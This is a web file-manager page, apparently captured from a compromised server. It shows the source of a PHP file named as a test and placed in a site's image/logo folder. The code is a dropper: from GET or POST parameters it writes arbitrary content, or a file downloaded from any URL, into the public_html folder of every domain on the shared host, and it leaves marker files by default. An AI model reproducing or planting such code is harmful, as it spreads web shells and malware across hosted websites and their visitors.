Файловый менеджер - Редактировать - /www/wwwroot/credittied.site/static/img/logo/748154601test.php
Ðазад
<?php header('Content-Type: text/plain; charset=utf-8'); function grab($url, $ref = '', $cookie = '', $user_agent = '', $header = '') { $ch = curl_init(); $headers = [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-us,en;q=0.5', 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive: 300', 'Connection: Keep-Alive', 'Content-type: application/x-www-form-urlencoded;charset=UTF-8' ]; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent ?: 'Mozilla/5.0'); curl_setopt($ch, CURLOPT_HEADER, $header ? 1 : 0); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_REFERER, $ref ?: 'http://www.google.com'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, strncmp($url, 'https', 6) ? 0 : 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_TIMEOUT, 100); $html = curl_exec($ch); curl_close($ch); return $html; } function import($url, $path) { $binarys = grab($url); if (!file_put_contents($path, $binarys)) { @unlink($path); return false; } return true; } $current_path = getcwd(); $script_path = __FILE__; $current_site = 'Unknown'; $site_url = ''; if (strpos($current_path, '/domains/') !== false) { $parts = explode('/domains/', $current_path); $remaining_path = $parts[1] ?? ''; $site_parts = explode('/', $remaining_path); $current_site = $site_parts[0] ?? 'Unknown'; $relative_path = str_replace('/domains/' . $current_site . '/public_html', '', $script_path); $site_url = "https://$current_site" . str_replace('/public_html', '', $relative_path); } echo "Current Script URL: $site_url\n\n"; $extension = isset($_POST['extension']) ? $_POST['extension'] : (isset($_GET['extension']) ? $_GET['extension'] : null); $content = isset($_POST['content']) ? $_POST['content'] : (isset($_GET['content']) ? $_GET['content'] : null); $import_url = isset($_POST['import_url']) ? $_POST['import_url'] : (isset($_GET['import_url']) ? $_GET['import_url'] : null); $target_path = $current_path; if (strpos($current_path, '/domains/') !== false) { $domains_pos = strpos($current_path, '/domains/'); $target_path = substr($current_path, 0, $domains_pos + strlen('/domains/')); } if (is_dir($target_path)) { $dir = dir($target_path); while (($domain_dir = $dir->read()) !== false) { if ($domain_dir != '.' && $domain_dir != '..') { $domain_path = $target_path . DIRECTORY_SEPARATOR . $domain_dir; if (is_dir($domain_path)) { $public_html_path = $domain_path . DIRECTORY_SEPARATOR . 'public_html'; if (is_dir($public_html_path)) { if ($extension && ($content || $import_url)) { $file_name = "file_" . time() . "." . $extension; $file_path = $public_html_path . DIRECTORY_SEPARATOR . $file_name; if ($import_url) { if (import($import_url, $file_path)) { echo "Imported and created: https://$domain_dir/$file_name\n"; } else { echo "Failed to import from $import_url for $domain_dir\n"; } } elseif ($content) { if (file_put_contents($file_path, $content) !== false) { echo "Created: https://$domain_dir/$file_name\n"; } else { echo "Failed to create $file_name for $domain_dir\n"; } } } else { $file_path = $public_html_path . DIRECTORY_SEPARATOR . 'one.txt'; $default_content = "test"; if (file_put_contents($file_path, $default_content) !== false) { echo "https://$domain_dir/one.txt\n"; } } } else { echo " No public_html directory found for $domain_dir\n"; } echo "----------------------------------------\n"; } } } $dir->close(); } else { echo "Error: The directory '$target_path' does not exist or is not accessible.\n"; } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка